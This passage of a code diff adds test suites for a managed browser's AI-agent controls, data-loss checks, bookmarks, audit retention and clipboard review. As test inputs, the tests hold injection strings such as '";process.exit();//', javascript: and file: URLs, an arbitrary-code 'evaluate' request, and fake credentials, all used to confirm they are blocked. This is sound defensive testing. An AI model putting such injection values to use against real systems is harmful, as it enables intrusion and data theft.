f=fixture({inspect:async()=>({decision:'block',ruleId:'corporate'})}); + await assert.rejects(f.actions.read({}),/Company policy/); + f.context.policy.agents.allowSensitiveRead=true; + assert.equal((await f.actions.read({})).text,'Public material'); + f.context.webContents.executeJavaScript=async()=>({text:'password=hunter22'}); + await assert.rejects(f.actions.read({}),/Sensitive/); +}); +test('fixed script excludes form content, hidden text and attributes',async()=>{ + const f=fixture();await f.actions.read({}); + const element=(excluded=false,hidden=false)=>({closest:selector=>selector.includes('input,textarea')&&excluded?{}:null,getAttribute:()=>null,parentElement:null,getClientRects:()=>hidden?[]:[{}]}); + const nodes=[{parentElement:element(),textContent:'Visible company text'},{parentElement:element(true),textContent:'Form secret'},{parentElement:element(false,true),textContent:'Hidden secret'}]; + let index=0; + const result=vm.runInNewContext(f.getScript(),{location:{href:'https://work.example/'},document:{body:{},createTreeWalker:()=>({nextNode:()=>nodes[index++]})},NodeFilter:{SHOW_TEXT:4},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'})}); + assert.equal(result.text,'Visible company text'); +}); +test('typing script rejects password targets and treats text as data',async()=>{ + const f=fixture();await f.actions.type({selector:'#prompt',text:'";process.exit();//'}); + const node={type:'password',tagName:'INPUT',parentElement:null,getAttribute:()=>null,closest:()=>null,getClientRects:()=>[{}]}; + assert.throws(()=>vm.runInNewContext(f.getScript(),{location:{href:'https://work.example/'},document:{body:{},querySelector:()=>node},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'})}),/sensitive/); + await assert.rejects(f.actions.type({selector:'input:has(*)',text:'x'}),/Invalid selector/); +}); +test('navigate permits managed destination change but refuses non-web schemes',async()=>{ + const f=fixture();assert.deepEqual(await f.actions.navigate({url:'https://allowed.example/'}),{completed:true}); + await assert.rejects(f.actions.navigate({url:'file:///secret'}),/Destination/); +}); +test('encoded built-in secrets and scanner failures never permit sensitive-read override',async()=>{ + for (const verdict of [{decision:'block',ruleId:'api-secret'},{decision:'block',ruleId:'uninspectable'},{decision:'block',ruleId:'size-limit'},{decision:'block',ruleId:'corporate',engine:'yara'},{decision:'block',ruleId:'corporate',malware:{decision:'block'}},{decision:'block',ruleId:'corporate',coverage:{complete:false}},{decision:'block',ruleId:'unknown'}]) { + const f=fixture({inspect:async()=>verdict});f.context.policy.agents.allowSensitiveRead=true; + f.context.webContents.executeJavaScript=async()=>({text:'sk%2D'+'a'.repeat(25)}); + await assert.rejects(f.actions.read({}),/Company policy/); + } +}); +test('real core percent-decoded credential verdict is preserved',async()=>{ + const policy={version:1,dlp:{maxBytes:10000,rules:[]},security:{content:{blockedPhrases:[]}}}; + const f=fixture({inspect:async text=>inspectPolicy(Buffer.from(text),policy)}); + f.context.policy.agents.allowSensitiveRead=true; + const text='sk%2D'+'a'.repeat(25);f.context.webContents.executeJavaScript=async()=>({text}); + assert.equal(inspectPolicy(Buffer.from(text),policy).ruleId,'api-secret'); + await assert.rejects(f.actions.read({}),/Company policy/); +}); +test('scopes and agent hosts rechecked before and after asynchronous operations',async()=>{ + const f=fixture();f.context.policy.agents.allowedHosts=['work.example']; + f.setUrl('https://other.example/');await assert.rejects(f.actions.read({}),/Agent destination/); + f.setUrl('https://work.example/');f.context.policy.agents.scopes=['sessions']; + await assert.rejects(f.actions.read({}),/Agent scope/); + f.context.policy.agents.scopes=['read']; + f.context.webContents.executeJavaScript=async()=>{f.context.policy.agents.scopes=[];return{text:'safe'};}; + await assert.rejects(f.actions.read({}),/Agent scope/); +}); +test('fixed DOM script rejects document replacement before any click side effect',async()=>{ + const f=fixture();await f.actions.click({selector:'#submit'});let selected=false; + assert.throws(()=>vm.runInNewContext(f.getScript(),{location:{href:'https://other.example/'},document:{querySelector:()=>{selected=true;}}}),/Document changed/); + assert.equal(selected,false); +}); + +test('same-URL reload, close and switch-away-and-back invalidate captured reads and AI',async()=>{ + for(const action of ['read','ai']) { + for(const race of ['reload','close','switch']) { + const f=fixture(); + const mutate=()=>{f.invalidate();if(race==='close')f.context.webContents.isDestroyed=()=>true;}; + if(action==='read')f.context.webContents.executeJavaScript=async()=>{mutate();return{text:'Public material'};}; + else { + const g=fixture({ai:async()=>{g.invalidate();if(race==='close')g.context.webContents.isDestroyed=()=>true;return{text:'Public material'};}}); + await assert.rejects(g.actions.ai({prompt:'Hello'}),/changed|unavailable/);continue; + } + await assert.rejects(f.actions.read({}),/changed|unavailable/); + } + } +}); + +test('navigation cannot complete against another native identity or changed policy',async()=>{ + for(const kind of ['identity','policy']) { + const f=fixture({navigate:async target=>{ + f.setUrl(target); + return {...f.context,sessionId:f.id,token:{},policyVersion:kind==='policy'?2:1,webContents:kind==='identity'?{}:f.context.webContents}; + }}); + await assert.rejects(f.actions.navigate({url:'https://work.example/next'}),/changed/); + } +}); + +test('inspection itself cannot outlive the captured tab generation',async()=>{ + const f=fixture({inspect:async()=>{f.invalidate();return{decision:'allow'};}}); + await assert.rejects(f.actions.read({sessionId:f.id}),/changed/); +}); + +test('session inventory and navigation work on the start page',async()=>{ + const f=fixture();f.setUrl('about:blank'); + assert.equal((await f.actions.sessions())[0].id,f.id); + assert.deepEqual(await f.actions.navigate({url:'https://work.example/'}),{completed:true}); + f.context.policy.agents.scopes=[]; + await assert.rejects(f.actions.sessions(),/unavailable/); +}); + +test('an omitted ID captures foreground once instead of following later foreground changes',async()=>{ + const f=fixture();const calls=[];let foreground=f.id; + const actions=createAgentAdapters({ + getContext:id=>{calls.push(id);return {ready:true,sessionId:id??foreground,foreground:true,token:{},policyVersion:1,policy:f.context.policy,webContents:f.context.webContents,destinationAllowed:()=>true};}, + getSessions:()=>[],contextCurrent:()=>true,navigate:async()=>{},ai:async()=>{},inspect:async()=>({decision:'allow'}),audit:async()=>{} + }); + f.context.webContents.executeJavaScript=async()=>{foreground='8dc41a3d-c46e-4c35-ae4a-98cfcb3a3553';return{text:'Public material'};}; + await actions.read({}); + assert.deepEqual(calls,[undefined,f.id,f.id]); +}); + +test('background interactions fail before page code runs',async()=>{ + const f=fixture();let executed=false; + const actions=createAgentAdapters({getContext:()=>({...f.context,sessionId:f.id,token:{},foreground:false}),getSessions:()=>[],contextCurrent:()=>true,navigate:async()=>{},ai:async()=>{},inspect:async()=>({decision:'allow'}),audit:async()=>{}}); + f.context.webContents.executeJavaScript=async()=>{executed=true;return{completed:true};}; + await assert.rejects(actions.click({selector:'#submit'}),/unavailable/); + await assert.rejects(actions.type({selector:'#prompt',text:'test'}),/unavailable/); + assert.equal(executed,false); +}); + +test('app controls require explicit new scopes and preserve typed trusted callback arguments',async()=>{ + let called=0; + const f=fixture({appControls:{'settings:update':async args=>{called++;assert.deepEqual(args,{appearance:{mode:'dark'}});return{visible:true,appearance:args.appearance};}}}); + await assert.rejects(f.actions['settings:update']({appearance:{mode:'dark'}}),/scope/); + assert.equal(called,0);f.context.policy.agents.scopes.push('settings:update');f.setUrl('about:blank'); + assert.equal((await f.actions['settings:update']({appearance:{mode:'dark'}})).appearance.mode,'dark'); + assert.equal(called,1); +}); + +test('app result is withheld after policy change and bookmark metadata must pass DLP',async()=>{ + const f=fixture({appControls:{'settings:get':async()=>{f.setVersion(2);return{visible:true};}}}); + f.context.policy.agents.scopes.push('settings:get');await assert.rejects(f.actions['settings:get']({}),/changed/); + const g=fixture({appControls:{'bookmarks:list':async()=>({managed:[{title:'password=hunter22',url:'https://example.test/',folder:''}],personal:{items:[]}})}}); + g.context.policy.agents.scopes.push('bookmarks:list');await assert.rejects(g.actions['bookmarks:list']({}),/Sensitive/); + const h=fixture({inspect:async()=>({decision:'block'}),appControls:{'bookmarks:list':async()=>({managed:[{title:'Confidential program',url:'https://example.test/',folder:''}],personal:{items:[]}})}}); + h.context.policy.agents.scopes.push('bookmarks:list');await assert.rejects(h.actions['bookmarks:list']({}),/Company policy/); +}); + +test('agent tab creation cannot bypass approved destination hosts',async()=>{ + let called=false;const f=fixture({appControls:{'tabs:create':async()=>{called=true;return{completed:true};}}}); + f.context.policy.agents.scopes.push('tabs:create');f.context.policy.agents.allowedHosts=['work.example']; + await assert.rejects(f.actions['tabs:create']({url:'https://other.example/'}),/destination/); + assert.equal(called,false); +}); + +test('whole-application policy capabilities are opt-in and unknown scopes are rejected',()=>{ + assert.deepEqual(AgentsSchema.parse({enabled:true}).scopes,['sessions']); + const scopes=['application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group']; + assert.deepEqual(AgentsSchema.parse({enabled:true,scopes}).scopes,scopes); + assert.throws(()=>AgentsSchema.parse({enabled:true,scopes:['policy:override']})); +}); diff --git a/tests/agent-control.test.mjs b/tests/agent-control.test.mjs new file mode 100644 index 0000000..02cdf53 --- /dev/null +++ b/tests/agent-control.test.mjs @@ -0,0 +1,96 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +const { startAgentControl } = createRequire(import.meta.url)('../apps/browser/agent-control.cjs'); +async function fixture(t, overrides = {}) { + const calls = [], events = []; + const api = await startAgentControl({ authorize: async ({scope}) => ({allowed:true, role:'agent',scopes:[scope]}), actions: {sessions:async()=>[{id:'work',title:'Work',cookies:'secret'}], navigate:async args=>{calls.push(args);return{};}, read:async()=>({text:'sanitized',password:'secret'}),type:async()=>({}),click:async()=>({}),ai:async()=>({text:'answer'})},audit:async event=>events.push(event),...overrides }); + t.after(()=>api.close()); + const request = (action,args={},headers={})=>fetch(`${api.address}/v1/actions`,{method:'POST',headers:{'Content-Type':'application/json',Authorization:`Bearer ${api.token}`,...headers},body:JSON.stringify({action,args})}); + return {api, request,calls,events}; +} +test('loopback capability authenticates and strips private adapter fields',async t=>{ + const {request,calls,events}=await fixture(t); + assert.equal((await request('sessions',{}, {Authorization:'Bearer wrong'})).status,401); + assert.deepEqual(await (await request('sessions')).json(),{result:[{id:'work',title:'Work'}]}); + assert.deepEqual(await (await request('read',{sessionId:'work'})).json(),{result:{text:'sanitized'}}); + assert.equal((await request('navigate',{sessionId:'work',url:'https://example.com'})).status,200); + assert.equal(calls.length,1); assert.ok(events.some(e=>e.outcome==='authorized')); +}); + +test('omitted session remains omitted and native inventory exposes only approved foreground metadata',async t=>{ + let captured; + const {request}=await fixture(t,{actions:{sessions:async()=>[{id:'71911cdc-a390-4e73-a604-d98d05fd52a5',title:'Work',foreground:true,cookies:'secret'}],read:async args=>{captured=args;return{text:'safe'};}}}); + assert.equal((await request('read')).status,200); + assert.equal(Object.hasOwn(captured,'sessionId'),false); + assert.deepEqual((await (await request('sessions')).json()).result,[{id:'71911cdc-a390-4e73-a604-d98d05fd52a5',title:'Work',foreground:true}]); +}); + +test('typed app actions reject arbitrary settings and project only public application metadata',async t=>{ + const calls=[]; + const {request}=await fixture(t,{actions:{'application:state':async()=>({ready:true,policyVersion:2,activeTabId:'tab',tabCount:2,token:'credential',server:'private'}),'settings:update':async args=>{calls.push(args);return{visible:true,appearance:args.appearance};},'tabs:create':async args=>{calls.push(args);return{completed:true,sessionId:'new-tab',token:'credential'};}}}); + assert.deepEqual((await(await request('application:state')).json()).result,{ready:true,policyVersion:2,activeTabId:'tab',tabCount:2}); + assert.equal((await request('settings:update',{appearance:{allowDevTools:true}})).status,400); + assert.equal((await request('settings:update',{appearance:{mode:'dark'}})).status,200); + assert.equal((await request('tabs:create',{url:'file:///C:/secret'})).status,400); + assert.equal((await request('tabs:create',{url:'https://user:secret@example.test/'})).status,400); + assert.equal((await request('tabs:activate',{})).status,400); + assert.deepEqual((await(await request('tabs:create',{group:'Work',url:'https://example.test/'})).json()).result,{completed:true,sessionId:'new-tab'}); + assert.equal(calls.length,2); +}); + +test('bookmark mutation schema requires exact revision and rejects extra capability arguments',async t=>{ + let captured; + const {request}=await fixture(t,{actions:{'bookmarks:mutate':async args=>{captured=args;return{completed:true};}}}); + const args={action:'add',expectedRevision:0,policyVersion:1,bookmark:{id:'personal',title:'Intranet',url:'https://intranet.example/',folder:'Work'}}; + assert.equal((await request('bookmarks:mutate',args)).status,200); + assert.equal((await request('bookmarks:mutate',{...args,expectedRevision:-1})).status,400); + assert.equal((await request('bookmarks:mutate',{...args,approve:true})).status,400); + assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...args.bookmark,managed:true}})).status,400); + const {folder,...withoutFolder}=args.bookmark; + assert.equal((await request('bookmarks:mutate',{...args,bookmark:withoutFolder})).status,200); + assert.equal(captured.bookmark.folder,''); + assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...withoutFolder,folder:123}})).status,400); + assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...withoutFolder,folder:null}})).status,400); + assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...withoutFolder,folder:'Work\nSecrets'}})).status,400); +}); +test('scope and role are centrally authorized on every action',async t=>{ + const {request,calls}=await fixture(t,{authorize:async()=>({allowed:true,role:'agent',scopes:['sessions:list']})}); + assert.equal((await request('navigate',{sessionId:'work',url:'https://example.com'})).status,403); + assert.equal(calls.length,0); +}); +test('rejects browser origins, execution and unsafe navigation',async t=>{ + const {request}=await fixture(t); + assert.equal((await request('sessions',{}, {Origin:'https://evil.example'})).status,403); + assert.equal((await request('evaluate',{code:'process.exit()'})).status,400); + assert.equal((await request('navigate',{sessionId:'work',url:'file:///C:/secret'})).status,400); + assert.equal((await request('navigate',{sessionId:'work',url:'https://user:secret@example.com'})).status,400); + assert.equal((await request('read',{sessionId:'work',cookies:true})).status,400); +}); +test('revocation immediately disables capability and policy denial changes live',async t=>{ + let allowed=true; + const {api,request}=await fixture(t,{authorize:async({scope})=>({allowed,role:'agent',scopes:[scope]})}); + assert.equal((await request('sessions')).status,200); allowed=false; + assert.equal((await request('sessions')).status,403); api.revoke(); + assert.equal((await request('sessions')).status,401); +}); +test('timeouts abort adapter and rate limit prevents repeated actions',async t=>{ + let signal; + const {request}=await fixture(t,{timeoutMs:20,maxRequestsPerMinute:1,actions:{read:async(_,context)=>{signal=context.signal;await new Promise(resolve=>setTimeout(resolve,100));return{text:'late'};}}}); + assert.equal((await request('read',{sessionId:'work'})).status,504);assert.equal(signal.aborted,true); + assert.equal((await request('read',{sessionId:'work'})).status,429); +}); +test('audit outage fails closed before adapter execution',async t=>{ + const {request,calls}=await fixture(t,{audit:async()=>{throw Error('offline');}}); + assert.equal((await request('navigate',{sessionId:'work',url:'https://example.com'})).status,500); + assert.equal(calls.length,0); +}); +test('trusted diagnostics report known static reasons and suppress arbitrary sensitive messages',async t=>{ + const diagnostics=[]; + const {request}=await fixture(t,{onError:async value=>diagnostics.push(value),actions:{read:async()=>{throw Error('Company policy blocks content access');},type:async()=>{throw Error('password=do-not-log-this');}}}); + assert.equal((await request('read')).status,500); + assert.equal((await request('type',{selector:'#field',text:'public'})).status,500); + assert.equal(diagnostics[0].reason,'Company policy blocks content access'); + assert.equal(diagnostics[1].reason,'unclassified-action-failure'); + assert.equal(JSON.stringify(diagnostics).includes('do-not-log-this'),false); +}); diff --git a/tests/audit-retention.test.mjs b/tests/audit-retention.test.mjs new file mode 100644 index 0000000..0ea5214 --- /dev/null +++ b/tests/audit-retention.test.mjs @@ -0,0 +1,39 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {openStore} from '../apps/server/store.mjs'; +import {pruneAuditEvents,startAuditRetention} from '../apps/server/audit-retention.mjs'; +function fixture(t){const directory=mkdtempSync(join(tmpdir(),'safetynet-retention-')),store=openStore(directory);t.after(()=>{store.db.close();rmSync(directory,{recursive:true,force:true});});return store;} +const old='2020-01-01T00:00:00.000Z'; +test('retention preserves pending export, incident evidence and replay deduplication',t=>{ + const s=fixture(t);s.db.exec('CREATE TABLE IF NOT EXISTS incident_cases(id TEXT PRIMARY KEY,event_id INTEGER REFERENCES events(id))'); + for(let i=0;i<4;i++)s.event('device','dlp.block',{ruleId:'rule'}); + s.db.prepare('UPDATE events SET time=?').run(old); + s.db.prepare('INSERT INTO incident_cases(id,event_id) VALUES(?,?)').run('case',2); + s.db.prepare('INSERT INTO device_events VALUES(?,?)').run('device','replay-id'); + const p=pruneAuditEvents(s,{days:30,exportedThrough:3});assert.equal(p.eligible,2);assert.equal(s.db.prepare('SELECT count(*) n FROM events').get().n,4); + const r=pruneAuditEvents(s,{days:30,exportedThrough:3,dryRun:false});assert.equal(r.eligible,2); + assert.deepEqual(s.db.prepare('SELECT id FROM events ORDER BY id').all().map(x=>x.id),[2,4,5]); + assert.equal(s.db.prepare('SELECT count(*) n FROM device_events').get().n,1); + assert.equal(s.db.prepare('SELECT kind FROM events WHERE id=5').get().kind,'audit.retention-applied'); +}); +test('batch and SIEM boundaries never orphan a Sigma correlation',t=>{ + const s=fixture(t),p=s.get('policy');p.security.sigma.rules=[{id:'r',title:'Rule',level:'high',detection:{selection:{kind:'dlp.block'},condition:'selection'}}];s.put('policy',p);s.event('d','dlp.block',{});s.db.prepare('UPDATE events SET time=?').run(old); + assert.equal(pruneAuditEvents(s,{days:30,limit:1,exportedThrough:2,dryRun:false}).eligible,0); + assert.equal(pruneAuditEvents(s,{days:30,exportedThrough:1,dryRun:false}).eligible,0); + assert.equal(pruneAuditEvents(s,{days:30,exportedThrough:2,dryRun:false}).eligible,2); + assert.equal(s.db.prepare('SELECT count(*) n FROM alerts').get().n,0); +}); +test('missing cursor fails closed and retention requires explicit deployment opt-in',t=>{ + const s=fixture(t);s.event(null,'policy.published',{});s.db.prepare('UPDATE events SET time=?').run(old); + assert.throws(()=>pruneAuditEvents(s,{days:30}),/cursor/); + const off=startAuditRetention(s,{status:()=>({cursor:1})});off.run();assert.equal(off.status().enabled,false);assert.equal(s.db.prepare('SELECT count(*) n FROM events').get().n,1);off.stop(); +}); +test('failed deletion rolls back the whole retention operation',t=>{ + const s=fixture(t);s.event(null,'policy.published',{});s.db.prepare('UPDATE events SET time=?').run(old); + s.db.exec("CREATE TRIGGER retention_reject BEFORE INSERT ON events WHEN NEW.kind='audit.retention-applied' BEGIN SELECT RAISE(ABORT,'fixture'); END"); + assert.throws(()=>pruneAuditEvents(s,{days:30,exportedThrough:1,dryRun:false}),/fixture/); + assert.equal(s.db.prepare('SELECT count(*) n FROM events').get().n,1); +}); diff --git a/tests/bookmarks-native.test.mjs b/tests/bookmarks-native.test.mjs new file mode 100644 index 0000000..c5d6df4 --- /dev/null +++ b/tests/bookmarks-native.test.mjs @@ -0,0 +1,13 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import bookmarks from '../apps/browser/bookmarks.cjs'; +import settings from '../apps/browser/managed-settings.cjs'; +const fixture=()=>{const policy={version:3,expiresAt:new Date(Date.now()+60000).toISOString(),browser:{settings:{visible:true,hiddenSections:[],lockedSections:[]},bookmarks:{managed:[{id:'company',title:'Company',url:'https://intranet.example/',folder:''}],allowUserAdd:true,allowUserEdit:true,allowUserDelete:true,personal:{revision:2,items:[{id:'mine',title:'Mine',url:'https://example.com/',folder:''}]}}}};return {policy,ready:true,settings:settings.settingsState({policy,ready:true}),destinationAllowed:url=>new URL(url).hostname==='example.com'};}; +const add=()=>({action:'add',expectedRevision:2,policyVersion:3,bookmark:{id:'new',title:' Example ',url:'https://example.com/',folder:''}}); +test('bookmark mutation binds signed policy and personal revision',()=>{const context=fixture();assert.equal(bookmarks.validateMutation(add(),context).bookmark.title,'Example');for(const input of [{...add(),policyVersion:2},{...add(),expectedRevision:1}])assert.throws(()=>bookmarks.validateMutation(input,context));}); +test('managed bookmark ids cannot be changed through direct native calls',()=>{for(const action of ['add','update','delete']){const input={...add(),action,id:'company',bookmark:{...add().bookmark,id:'company'}};assert.throws(()=>bookmarks.validateMutation(input,fixture()),/Company bookmarks/);}}); +test('independent add edit delete permissions are enforced natively',()=>{for(const [action,permission] of [['add','allowUserAdd'],['update','allowUserEdit'],['delete','allowUserDelete']]){const context=fixture();context.policy.browser.bookmarks[permission]=false;assert.throws(()=>bookmarks.validateMutation({...add(),action,id:'mine',bookmark:{...add().bookmark,id:'mine'}},context),/administrator/);}}); +test('hidden locked expired and paused settings reject native mutations',()=>{for(const mode of ['hidden','locked','expired','paused']){const context=fixture();if(mode==='hidden')context.settings.hiddenSections=['library'];if(mode==='locked')context.settings.lockedSections=['library'];if(mode==='expired')context.policy.expiresAt='2000-01-01';if(mode==='paused')context.ready=false;assert.throws(()=>bookmarks.validateMutation(add(),context));}}); +test('bookmark URLs cannot bypass destination controls or retain sensitive queries',()=>{for(const url of ['javascript:alert(1)','https://other.example/','https://a:b@example.com/','https://example.com/?token=x','https://example.com/#private'])assert.throws(()=>bookmarks.validateMutation({...add(),bookmark:{...add().bookmark,url}},fixture()));}); +test('locked library retains company links; hidden library exposes no bookmark metadata',()=>{const context=fixture();context.settings.lockedSections=['library'];assert.equal(bookmarks.bookmarkState(context).managed.length,1);context.settings.hiddenSections=['library'];assert.deepEqual(bookmarks.bookmarkState(context).managed,[]);}); +test('global settings hiding keeps bookmark navigation readable but forbids changes',()=>{const context=fixture();context.settings.visible=false;const state=bookmarks.bookmarkState(context);assert.equal(state.managed.length,1);assert.equal(state.personal.items.length,1);assert.equal(state.allowUserAdd,false);assert.equal(bookmarks.libraryVisible(context.settings),true);assert.throws(()=>bookmarks.validateMutation(add(),context));context.settings.hiddenSections=['library'];assert.equal(bookmarks.libraryVisible(context.settings),false);assert.deepEqual(bookmarks.bookmarkState(context).personal.items,[]);}); diff --git a/tests/bookmarks.test.mjs b/tests/bookmarks.test.mjs new file mode 100644 index 0000000..97dda66 --- /dev/null +++ b/tests/bookmarks.test.mjs @@ -0,0 +1,19 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {randomUUID} from 'node:crypto'; +import {openStore} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +import {BookmarkSchema,BookmarkItemsSchema,verifyBookmarkSnapshot} from '../packages/core/bookmarks.mjs'; +import {verifyPolicy} from '../packages/core/policy.mjs'; +async function fixture(t){const dir=mkdtempSync(join(tmpdir(),'bookmark-test-')),store=openStore(dir),adminToken='test-only-admin-token';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});async function api(route,{body,token=adminToken,method=body?'POST':'GET'}={}){const r=await fetch(`http://127.0.0.1:${server.address().port}${route}`,{method,headers:{authorization:`Bearer ${token}`,...(body?{'content-type':'application/json'}:{})},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};}async function enroll(){const code=(await api('/api/admin/enrollments',{body:{user:'public-fixture'}})).body.code;return (await api('/api/device/enroll',{body:{code,name:'Windows fixture',platform:'win32'},token:''})).body;}return {store,api,enroll};} +const entry={id:'intranet',title:'Company intranet',url:'https://intranet.example/',folder:'Work'}; +test('bookmarks reject secrets, executable schemes and duplicate IDs',()=>{for(const url of ['javascript:alert(1)','file:///C:/secret','https://user:pass@example.com','https://example.com/?token=secret','https://example.com/#secret'])assert.equal(BookmarkSchema.safeParse({...entry,url}).success,false);assert.equal(BookmarkSchema.parse(entry).url,entry.url);}); +test('device bookmark changes are isolated, signed, revisioned and do not republish fleet policy',async t=>{const {store,api,enroll}=await fixture(t),a=await enroll(),b=await enroll();const result=await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}});assert.equal(result.status,200);assert.equal(result.body.version,1);const envelope=(await api('/api/device/policy',{token:a.token})).body;assert.equal(verifyPolicy(envelope,a.publicKey).browser.bookmarks.personal.items.length,0);const payload=verifyBookmarkSnapshot(envelope.bookmarks,a.publicKey,{deviceId:a.id,policyVersion:1});assert.deepEqual(payload.items,[entry]);assert.equal(payload.revision,1);assert.equal((await api('/api/device/policy',{token:b.token})).body.bookmarks.payload.items.length,0);assert.throws(()=>verifyBookmarkSnapshot(envelope.bookmarks,a.publicKey,{deviceId:b.id,policyVersion:1}));assert.throws(()=>verifyBookmarkSnapshot(envelope.bookmarks,a.publicKey,{deviceId:a.id,policyVersion:1,minimumRevision:2}));assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'delete',id:entry.id,expectedRevision:0,policyVersion:1}})).status,409);const metadata=store.db.prepare("SELECT metadata FROM events WHERE kind='bookmarks.changed'").get().metadata;assert.ok(!metadata.includes(entry.url));assert.ok(!metadata.includes(entry.title));}); +test('managed immutability, user permissions and admin read permission enforced at APIs',async t=>{const {api,enroll}=await fixture(t),a=await enroll();let p=(await api('/api/admin/overview')).body.policy;p.browser.bookmarks.managed=[entry];p.browser.bookmarks.allowUserAdd=false;p.version++;assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200);assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:{...entry,id:'personal'},expectedRevision:0,policyVersion:2}})).status,403);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`,{method:'PUT',body:{expectedRevision:0,policyVersion:2,items:[{...entry,id:'personal'}]}})).status,200);assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'delete',id:entry.id,expectedRevision:1,policyVersion:2}})).status,403);p.version++;p.browser.bookmarks.adminReadUserBookmarks=false;assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`)).status,403);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`,{method:'PUT',body:{expectedRevision:1,policyVersion:3,items:[]}})).status,403);}); +test('global policy refuses device personal data and managed ID collisions',async t=>{const {api,enroll}=await fixture(t),a=await enroll();await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}});let p=(await api('/api/admin/overview')).body.policy;p.version++;p.browser.bookmarks.personal={revision:1,items:[entry]};assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,400);p.browser.bookmarks.personal={revision:0,items:[]};p.browser.bookmarks.managed=[entry];assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,400);}); +test('bookmark canonicalization rejects Unicode URL expansion and oversized collections',()=>{assert.equal(BookmarkSchema.parse({...entry,url:'https://EXAMPLE.com'}).url,'https://example.com/');assert.equal(BookmarkSchema.safeParse({...entry,url:'https://example.com/'+ '界'.repeat(1000)}).success,false);const bulky=Array.from({length:100},(_,i)=>({...entry,id:'id'+i,url:'https://example.com/'+ 'a'.repeat(2000),title:'界'.repeat(120),folder:'界'.repeat(80)}));assert.equal(BookmarkItemsSchema.safeParse(bulky).success,false);}); + +test('snapshot signatures reject tampering and expired policy and revoked devices cannot mutate',async t=>{const {store,api,enroll}=await fixture(t),a=await enroll(),env=(await api('/api/device/policy',{token:a.token})).body;const modified=structuredClone(env.bookmarks);modified.payload.items=[entry];assert.throws(()=>verifyBookmarkSnapshot(modified,a.publicKey,{deviceId:a.id,policyVersion:1}));assert.throws(()=>verifyBookmarkSnapshot(env.bookmarks,a.publicKey,{deviceId:a.id,policyVersion:1,now:Date.parse(env.bookmarks.payload.expiresAt)+1}));const p=store.get('policy');p.expiresAt=new Date(Date.now()-1000).toISOString();store.put('policy',p);assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}})).status,403);await api(`/api/admin/devices/${a.id}/revoke`,{body:{}});assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}})).status,401);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`)).status,404);}); diff --git a/tests/clipboard-review.test.mjs b/tests/clipboard-review.test.mjs new file mode 100644 index 0000000..e617062 --- /dev/null +++ b/tests/clipboard-review.test.mjs @@ -0,0 +1,51 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import vm from 'node:vm'; +import { defaultPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),{createClipboardGuard}=require('../apps/browser/clipboard-guard.cjs'),{clipboardScript}=require('../apps/browser/clipboard-dom.cjs'); +const deferred=()=>{let resolve;const promise=new Promise(r=>resolve=r);return{promise,resolve};}; +function guardFixture(inspect){ + const frame={},webContents={mainFrame:frame,focusedFrame:frame};let context={ready:true,policy:defaultPolicy(),url:'https://company.example/login',navigationId:1,webContents};const writes=[],commits=[],discards=[],audit=[]; + const guard=createClipboardGuard({getContext:()=>context,stage:async()=>({text:'public selected text'}),validate:async()=>({completed:true}),commit:async args=>{commits.push(args);return{completed:true};},discard:async args=>discards.push(args),readClipboard:()=> 'public pasted text',writeClipboard:text=>writes.push(text),inspect,audit:async(...args)=>audit.push(args),timeoutMs:25}); + return{guard,webContents,writes,commits,discards,audit,context:()=>context,setContext:c=>{context=c;}}; +} +test('independent clipboard review: changed policy, navigation or readiness prevents release after scanning',async()=>{ + for(const changed of ['policy','url','navigationId','ready']){const pending=deferred(),started=deferred(),f=guardFixture(async()=>{started.resolve();return pending.promise;});const operation=f.guard.perform('copy',f.webContents);await started.promise;const context={...f.context()};context[changed]=changed==='policy'?{...context.policy,version:2}:changed==='url'?'https://other.example/':changed==='navigationId'?2:false;f.setContext(context);pending.resolve({decision:'allow'});assert.equal((await operation).completed,false,changed);assert.equal(f.writes.length,0);assert.equal(f.commits.length,0);assert.equal(f.discards.length,1);assert.equal(JSON.stringify(f.audit).includes('public selected text'),false);} +}); +test('independent clipboard review: timeout does not authorize delayed inspection completion',async()=>{ + const pending=deferred(),started=deferred(),f=guardFixture(async()=>{started.resolve();return pending.promise;});const operation=f.guard.perform('paste',f.webContents);await started.promise;const result=await 